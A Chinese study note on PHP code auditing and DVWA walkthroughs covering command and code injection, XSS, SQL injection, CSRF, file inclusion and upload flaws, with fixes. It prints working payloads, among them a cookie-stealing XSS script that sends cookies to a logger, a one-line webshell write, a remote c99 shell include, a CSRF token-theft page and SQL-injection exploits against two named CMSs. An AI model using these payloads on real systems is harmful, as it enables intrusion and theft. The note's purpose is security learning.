环境及工具
环境配置
PHPStudy
- PHP 5.2.17nts
DVWA
搭建好DVWA后开始学习代码审计
编写工具
NotePad++
PHPStorm
常用调试
1 |
|
调试函数
echo
就是最简单的输出变量的方法
print_r
主要用于输出数组
var_dump
就是详细输出,包括变量的值以及变量的数据类型
var_export(不常用)
输出或返回一个变量的字符串表示
1
var_export ( mixed $expression , bool $return = false ) : mixed
- 参数
- expression 想要输出的变量名。
- return 此参数为 true 时,var_export() 将返回一个变量,而不是输出它
- 参数
debug_zval_dump
转储内部zval结构的字符串表示形式以输出官方解释是这样
没怎么看懂
直接看个官方例子
1
2
3
4
5
6
7
8
$var1 = 'Hello';
$var1 .= ' World';
$var2 = $var1;
debug_zval_dump($var1);输出
string(11) "Hello World" refcount(3)
感觉好像貌似是输出变量的类型,长度,值和refcount(引用计数)难怪不常用exit
顾名思义 退出函数
可用于终止函数运行
1
2
3
4
echo $moon = "moon";
exit();
echo $sec="sec";输出:
moon
如果没有exit()函数,则会输出
moonsec
单引号与双引号
奇葩的PHP
1
2
3
4
$str="moon";
echo "$str";
echo '$str';
输出:moon$str
"$变量"
会正常执行
然而 '$变量'
就会被当作字符串
★超全局变量
超全局变量是在全部作用域中始终可用的内置变量
超全局变量列表如下:
- $GLOBALS —— 引用全局作用域中可用的全部变量
- $_SERVER —— 服务器和执行环境信息
- $_REQUEST —— HTTP Request变量
- $_POST —— HTTP POST变量
- $_GET —— HTTP GET变量
- $_FILES —— HTTP 文件上传变量
- $_ENV —— 环境变量
- $_COOKIE —— HTTP Cookies
- $_SESSION —— Session变量
1 |
|
★命令注入
常见函数
system ( string $command [, int &$return_var ] )
1
2
3
4
5
6
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";浏览器访问url?cmd=ipconfig
就能打印出ipconfig信息到浏览器上
exec ( string $command [, array &$output [, int &$return_var ]] )
1
2
3
4
5
6
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
echo exec($action);
echo "<pre/>";也同样可以执行
passthru (string command, int &return_var)
1
2
3
4
5
6
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
echo passthru($action);
echo "<pre/>";同样执行
shell_exec (string command)
1
2
3
4
5
6
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
echo shell_exec($action);
echo "<pre/>";反引号
``
1
2
3
4
5
6
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
echo `$action`;
echo "<pre/>";popen ( string $command , string $mode )
1
2
3
4
5
6
7
header('Content-Type: text/html; charset=gbk2312');
$action = $_GET['cmd'];
echo "<pre>";
echo popen($action,'r');
echo "<pre/>";该方法略有不同,本意是打开进程文件指针
参数:
- r: 只读
- w: 只写 (打开并清空已有文件或创建一个新文件
输出结果:
Resource id #2
可以通过这个结果来判断命令是否执行成功
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
一个php函数,执行一个命令,并且打开用来输入/输出的文件指针。 说白了就是可以操作执行服务器命令行
windows系统下不可用
执行结果类似
pcntl_exec ( string $path [, array $args [, array $envs ]] )
在当前进程空间执行指定程序参数:
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的信息请查看您系统的execve(2)手册
args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
防御函数
当用户提供的数据传入此函数,使用 escapeshellarg()
或 escapeshellcmd()
来确保用户欺骗系统从而执行任意命令。
escapeshellarg ( string $arg )
可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给
escapeshellarg
,会被过滤掉。escapeshellcmd ( string $command )
escapeshellcmd()函数会转义命令中的所有shell元字符来完成工作。这些元字符包括:
# & ; ` , | * ? ~ < > ^ ( ) [ ] { } $ \\
如何防御
以escapeshellcmd()
为例
1 |
|
正常命令可以正常执行
但是如果有特殊字符则会被过滤,特殊字符不会生效
如果不使用这个函数
payload:1
echo "aaaaa" >>1.txt
则可本地生成一个1.txt的文档,文档内容是aaaaa
由此就可以通过写入一句话,来get shell
代码执行注入
常见代码执行函数
eval
eval代码执行注入
1
2
3
4
5
if (isset($_GET['moon'])){
$moon=$_GET['moon'];
eval("\$moon = $moon;");
}url?moon=phpinfo() 就能看到php.ini的信息
assert
assert代码执行注入
1
2
3
4
5
if (isset($_GET['moon'])){
$moon=$_GET['moon'];
assert("\$moon = $moon;");
}与eval基本类似
preg_replace
当pattern中存在/e模式修饰符,即允许执行代码。pattern在一个参数
1
2
3
4
echo $regexp = $_GET['reg'];
$var = '<php>phpinfo()</php>';
var_dump(preg_replace("/<php>(.*?)$regexp", '\\1', $var));payload:
?reg=%3C\/php%3E/e
replacement 第二个参数
1
2
preg_replace("/moon/e",$_GET['moon'],"I love moon");payload
?moon=phpinfo()
preg_replace()第三个参数注射
1
2
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['moon']);payload:
?moon=[php]phpinfo()[/php]
XSS漏洞
XSS反射型漏洞
它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
变量直接输出
1 |
|
payload<script>alert(1)</script>
$_SERVER变量参数
$_SERVER[‘PHP_SELF’]
1
2
echo $_SERVER['PHP_SELF'];payload
url/<script>alert(1)</script>
$_SERVER[‘HTTP_USER_AGENT’]
1
echo $_SERVER['HTTP_USER_AGENT'];
输出浏览器版本
payload
user-agent添加xss
$_SERVER[‘HTTP_REFERER’]
1
2
echo $_SERVER['HTTP_REFERER'];payload:
修改Referer
$_SERVER[‘REQUEST_URI’]
1
2
echo urldecode($_SERVER['REQUEST_URI']);payload:
?<script>alert(1)</script>
利用
利用文件xss.php1
2
3
4
5
6
7
8
9
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
获取cookie的payload<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocument.cookie;</script>
还可以用XSS平台 不介绍
XSS存储型漏洞
持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
审计sql语句
主要是update insert 更新和插入语句
内容输入输出没有被过滤或者过滤不严!
例子:
先创建个表1
2
3
4
5
6CREATE TABLE `book` (
`id` int(5) NOT NULL auto_increment,
`title` varchar(32) NOT NULL,
`con` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=1 ;
留言板.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['submit'])){
$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `book` (`id` ,`title` ,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}
}else{
$sql="select * from book";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo $rows['id'].$rows['title'].$rows['con']."<br>";
}
}
}
<html>
<h1>暗月代码审计存储型xss漏洞演示</h1>
<form action="?action=insert" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit" name="submit" value="提交">
<form>
</html>
存储型XSS会被存到数据库中,用户每次访问的时候都会被XSS,危害性极大
防御
htmlspecialchars
函数
预定义的字符:
- & (和号) 成为 &
- “ (双引号) 成为 "
- ‘ (单引号) 成为 '
- < (小于) 成为 <
- > (大于) 成为 >
1 | echo htmlspecialchars ($rows['id'].$rows['title'].$rows['con'])."<br>"; |
本地包含与远程包含
PHP有四个包含函数
include
include_once
require
require_once
include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。
require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
本地包含
受gpc影响
截断%00
1 |
|
同目录下建一个test.txt1
2
phpinfo();
payload:?file=./test.txt
如果使用了include $file.".php"
拼接后缀名的这种方式,可以使用00截断
payload:?file=./test.txt%00
远程包含
需要开启allow_url_fopen
和allow_url_include
可以使用伪协议
伪协议:php://filter/read=convert.base64-encode/resource=
在allow_url_include = On 且 PHP >= 5.2.0php://input
或者直接包含网站中的木马http://c99.in/c99.txt
SQL注入
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
审计语句
SELECT
DELETE
UPDATE
INSERT
1 |
|
防御
开启gpc —— PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染
mysql_real_escape_string (已被弃用,使用PDO拓展)
addslashes —— 在每个双引号(”)前添加反斜杠
关键字过滤
CSRF
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
可以做什么
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。
现状
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI……而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
审计
敏感表单是否使用token 验证1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['pass'];
$sql="INSERT INTO `admin`(`id` ,`name` ,`pass`)VALUES (NULL , '$name', '$pass');";
if($row=mysql_query($sql)){
echo "ok";
}else{
echo "no";
}
}else{
$sql="select * from admin";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo "name:{$rows[name]}--pass:{$rows[pass]}<br>";
}
}
}
<form action="" method="post">
name:<input type='text' name="name"><br>
pass:<input type="password" name="pass">
<input type="submit" value="ok" name="sub">
</form>
防御
验证 HTTP Referer 字段
在请求地址中添加 token 并验证
在 HTTP 头中自定义属性并验证
动态函数执行与匿名函数执行
动态函数执行
函数与函数之间的调用,可能会造成的漏洞1
2
3
4
5
6
7
8
9
10
11
12
13
function a(){
echo "a";
}
function b(){
echo "b";
}
function c($c){
echo "c";
$c();
}
c($_GET['c']);
payload:?c=a
输出:ca
也可以传phpinfo
payload:?c=phpinfo
匿名函数执行
匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。
create_function
创建匿名函数
1 |
|
payload:?c=1));}phpinfo();//
unserialize反序列化
unserialize函数的参数可控
脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类
对象中的成员变量的值
反序列化的变量会覆盖类中变量的值
1 |
|
payload:?code=O:4:"demo":1:{s:4:"test";s:10:"phpinfo();";}
反序列化漏洞需要配合其他漏洞使用
变量覆盖漏洞
变量覆盖漏洞产生的原因有两种:
第一种 是register_globals
为on的情况,PHP4默认开启,PHP5以后默认关闭。 PHP5.6以上只能通过$_GET
第二种 是人为注册成为全局变量
全局变量的取值与赋值1
2
3
4
5
6
7
//全局变量的取值与赋值
echo $a='a';
echo "<hr>";
echo $GLOBALS['a']="b";
echo "<hr>";
echo $a;
当register_globals
关闭时1
2
3
4
5
6
foreach(array('_GET','_POST') as $requset){
foreach($$requset as $_k =>$_v){
print_r($$_k=$_v);
}
}
payload:?moon=1
文件管理漏洞
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可
能成为高危漏洞
常见函数copy、rmdir、unlink、delete、fwrite、
chmod、 fgetc、 fgetcsv、 fgets、 fgetss、 file、 file_get_contents 、 fread、 readfile、 ftruncate、
file_put_contents、fputcsv、fputs、fopen
增加 删除 编写 修改
以常见的unlink
为例子1
2
3
4
5
$file=$_GET['file'];
if(is_file($file)){
unlink($file);
}
payload:?file=./demo.php
这样这个demo.php就被删除了
以file_get_contents
为例1
2
3
$file = $_GET['file'];
echo file_get_contents( $file);
payload:?file=./1.txt
可以读取php源文件等
以readfile
为例1
2
3
$file = $_GET['file'];
echo readfile($file);
也可以读php源代码,并且输出长度
以file_put_contents
为例
1 |
|
payload:?file=./demo.php&txt=<?php eval($_POST[CMD]);?>
就可以将一句话写入文件
以copy
为例1
2
3
4
$file = $_GET['file'];
$txt=$_GET['txt'];
copy($file,$txt);
payload:?file=./demo.php&txt=demo2.php
这样就copy了一个demo2.php
以fwrite
和fopen
为例
1 |
|
payload:?file=./demo3.php
这样就新建了一个demo3.php 并且写入
文件上传漏洞
审计函数:move_uploaded_file
超全局变量$_FILES
1
2
3
4
5
6
7
print_r($_FILES);
<form method="post" name="upform" action="" enctype="multipart/form-data">
<input type="file" name="uploadfile">
<input type="submit" value="upload" name="upload"></form>
</body>
tmp是临时上传的路径名
- 后缀名是图片格式
- 前缀名不能是外部提交的
- 上传的目录不可以是获取外部提交的路径
1.asp;/1213.asp.jpg
防御
- 使用白名单方式检测文件后缀
- 上传之后按时间能算法生成文件名称
- 上传目录脚本文件不可执行
- 注意%00 截
- Content-Type 验证
CMS后台登录绕过漏洞
这里用duenling_v1.0来学习
安装成功后登录一下,没有问题之后就可以学习了
存在漏洞
admin/login.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminpass .= "Axphp.com";
$adminpass = md5($adminpass);
echo $adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600, '/');
setcookie("admin_name", $adminname, time() + 3600, '/');
header("location:axadmin.php");
} else {
header("location:axphp.php");
}
漏洞语句:$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
可以看到这个地方$adminname
为可控变量,且前后有单引号,虽然他登录页做了前端的js过滤了一些特殊字符,但是后台没有做任何过滤和检测,密码也没有做任何验证,所以可以直接绕过登录
payload:admin'#
密码随意
接下来看admin_pass.php1
2
3
4
5
6
7
require 'check.php';
require '../template/axadmin/head.php';
require '../template/axadmin/banner.php';
require '../template/axadmin/admin_pass.php';
require '../template/axadmin/bottom.php'
发现与admin相关的操作都要通过check.php,所以接着看check.php1
2
3
4
5
6
error_reporting(0);
isset($_COOKIE['admin'])?$check=$_COOKIE['admin']:$check=null;
isset($_COOKIE['admin_name'])?$admin_user=$_COOKIE['admin_name']:$user=null;
if($check==null){header("Location:../index.php");exit;}
它这个就是对全局变量Cookie做了一个判断,如果为Null,就跳转到index首页进行一个普通用户的登录
但是他没有做任何操作,我们可以通过伪造cookie来完成
访问admin/admin_pass.php
抓包
payload:cookie:admin=51nd0re1
通过伪造cookie直接登录后台
漏洞挖掘思路
程序的两大根本:变量和函数
漏洞形成的条件:
- 可以控制的变量(一切输入都是有害的)
- 变量到达有利用价值的函数(危险函数)
漏洞造成的效果:
- 漏洞的利用效果取决于最终函数的功能
- 变量进入什么样的函数就导致什么样的效果
危险函数:
什么样的函数就会导致什么样的漏洞
- 文件包含:包含漏洞
- 代码执行:执行任意代码漏洞
- 命令执行:执行任意命令漏洞
- 文件系统操作:文件(目录)读写删等漏洞
- 数据库操作:SQL注入漏洞
- 数据显示:xss等客服端漏洞
代码审计的本质:
找漏洞==找对应变量与函数
变量跟踪的过程:
通过变量找函数【正向跟踪】
通过函数找变量【逆向跟踪】
实战XDCMS
- XDcms_v 2.0.8
- PHP 5.6
- mysql 8.0.23
先访问进行安装,安装完成之后就可以登录网站后台了后台默认账号密码都是xdcms
先看源码在system/function的global.inc.php
看到接受参数,这些是可控的1
2
3$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";
然后搜一下安全过滤函数safe_html
和safe_replace
1
2
3
4
5
6
7//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}
1 | //安全过滤函数 |
我们接着看,发现接收参数的时候只对GET进行了过滤,所以POST或cookie就可能存在注入
所以搜一下$_POST
并且是位于前端的,发现在modules/member/index.php发现没有被过滤可以利用的点1
2
3
4
5
6 public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
....
在会员注册的地方找到利用点,我们先随便注册一个会员,抓包1
username=4454564&password=4454564&password2=4454564&fields%5Btruename%5D=4454564&fields%5Bemail%5D=4454564&submit=+%D7%A2+%B2%E1+
并且接着看源码,发现sql语句1
update c_member set `truename`='lxhacker',`email`='123456' where userid=3
对抓包的内容进行添加单引号等修改,发现了报错,追踪一下query这个function1
2
3
4
5
6
7//执行查询
function query($sql){
if(!$res=@mysql_query($sql,$this->ConnStr)){
echo '操作数据库失败'.mysql_error()."<br>sql:{$sql}";
}
return $res;
}
这就可以利用一个报错注入
EXP456' where userid=8 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e) from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
DVWA
暴力破解不做解释了
Command Injection
Low
先看源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
可以看到没有做任何的过滤处理,可以直接执行,下面都以whoami
为例
Low级别真的太多了,就举个常用例子吧
payload127.0.0.1 && whoami
Medium
1 |
|
可以看到用了正则过滤了&&
和;
黑名单过滤不全,可以用||
,|
,|
,&
,这里要说明,在PHP里&&
是前面不执行后面就不执行,有截断性,而&
是不管前面的命令是否值执行,后面的都执行
payload:127.0.0.1 & whoami
High
1 |
|
增加了黑名单,但是还是有过滤不全,这个黑名单看到过滤了|
但是却没有过滤|
(没有空格)
黑名单过滤不全,所以
payload:127.0.0.1|whoami
Impossible
1 |
|
函数说明:1
2
3
4
5checkToken() 进行token验证
stripslashes() 删除反斜杠
explode() 把字符串打散为数组
is_numeric() 判断是否为数字或数字字符串
generateSessionToken(); 生成反CSRF令牌
这样命令注入的漏洞就成功修复了
CSRF
Low
1 |
|
可以看到没有任何验证,所以先输入123,123
得到http://localhost/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
我们将这个url修改成自己的http://localhost/DVWA/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#
再构造一个html,待用户访问时,密码就已经被修改了
medium
1 |
|
看到加入了Referer的验证,该验证必须要求用户的请求头中的Referer字段必须包含了服务器的名字
所以我们bp抓包获取一下Referer的信息Referer: http://localhost/DVWA/vulnerabilities/csrf/
直接重新打开一个页面访问http://localhost/DVWA/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#
抓包,在请求头添加Referer:http://localhost/ahhaha
,只要有localhost即可
放包,显示修改成功
High
1 |
|
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。
我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
这一切看起来是那么的天衣无缝,无懈可击。可是,我们忘记了浏览器最重要的一个策略——同源策略。由于我们框架ifame要访问的链接是 http://127.0.0.1/dvwa/vulnerabilities/csrf ,这是漏洞网站服务器的链接。而我们的脚本执行的位置是我们自己搭的一个服务器,所以我们的攻击脚本是不可能跨域取到改密界面中的user_token。关于同源策略和跨域问题:浏览器同源策略和跨域的实现方法
由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。
在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。
我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token1
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
impossible
1 |
|
在High的基础上,添加了修改密码前需要输入原来的密码,黑客不知道原来的密码,并且使用了PDO和预编译防止了SQL注入,这样就修复了CSRF漏洞
File Inclusion
Low
1 |
|
可以看到很简单的语句,没有进行任何的过滤和限制,所以我们直接包含根目录下的flag.txt
payload:../../../flag.txt
Medium
1 |
|
可以看到将../
,..\
,http://
,https://
转换为空
我们可以考虑使用伪协议读取,由于str_replace是很不安全的,可以使用双写绕过,除了本地包含,还可以直接包含远程的一句话,直接菜刀
payload:php://filter/read=convert.base64-encode/resource=hthttp://tp://localhost/flag.txt
High
1 |
|
fnmatch()
函数根据指定的模式来匹配文件名或字符串
也就是只匹配file1,file2,file3这一类的,或者$file是include.php
想到file,我们可以使用file协议来读取本地的文件
payload:?page=file:///F:/phpstudy_pro/WWW/flag.txt
实战的思路就是配合上传漏洞,将一句话木马上传之后,进行包含
impossible
1 |
|
这里看到,除了它页面显示的文件和include.php,其他的都不能进行包含,使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!
File Upload
Low
1 |
|
没有进行任何过滤,直接上传一句话结束
Medium
1 |
|
看到进行了判断,只能是uploaded_type规定的 并且文件大小 小于 100000
我们bp抓包,修改Content-Type: image/jpeg
,上传成功,菜刀一下
High
1 |
|
strrpos()
查找 “php” 在字符串中最后一次出现的位置getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
可以看到这次用了strrpos来判断.最后出现的位置,也就意味.
后必须为图片,还是用了getimagesize()来获取图片的相关信息,所以使用图片马,这里就用到了刚才说的文件包含漏洞
菜刀连接http://localhost/DVWA/vulnerabilities/fi/?page=file:///F:/phpstudy_pro/WWW/DVWA/hackable/uploads/1.jpg
impossible
1 |
|
imagecreatefromjpeg(filename)
从给定的文件或url中创建一个新的图片
imagejpeg(image,filename,quality)
从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)
imagedestroy(image)
销毁图像
可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
SQL Injection
low
1 |
|
没有做任何的过滤和限制,直接注入
payload:1' or '1'='1
Medium
1 | ?php |
mysql_real_escape_string
函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,且使用了单选列表的方式来获取信息,我们可以bp抓包
payload:id=1 or 1=1#&Submit=Submit
high
1 |
|
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
使用了limit 1 限制了显示一行,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样
payload:1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
impossible
1 |
|
使用了PDO和预编译语句,还防止了CSRF
SQL Injection(Blind)
low
1 |
|
bool盲注
payload1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
时间盲注:
payload1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1)
明显延迟
剩下的写脚本就行
medium,high基本一致
impossible
1 |
|
PDO,预编译+session令牌
Weak Session IDs
当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带
Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权
限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使
用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权
限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用
了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存
在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
low
1 |
|
bp抓包重放,发现重放一次dvwaSession+1,清除浏览器缓存之后,再重放一次,发现依旧+1,绕过了密码验证
medium
1 |
|
发现这次dvwaSession是时间戳,通过设置时间戳,可知诱骗受害者在某个时间点基进行点击
构造时间戳就行
high
1 |
|
high级别使用了PHP setcookie()函数,来设置cookie:1
2
3
4
5
6
7
8
9setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
抓包发现,dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。
impossible
1 |
|
$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。
XSS DOM
low
1 |
|
没有任何过滤和限制,只有个下拉列表,bp抓包
payload<script>alert(/xss/)</script>
medium
1 |
|
stripos
查找 “php” 在字符串中第一次出现的位置
过滤了<script>
标签
闭合</option></select>
标签构造xss事件
payload:English>/option></select><img src=1 onerror=alert(/xss/)>
high
1 |
|
使用了switch语句进行限制
payloadEnglish#<script>alert(/xss/)</script>
impossible
1 |
|
我们查看源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了
XSS Reflected
low
1 |
|
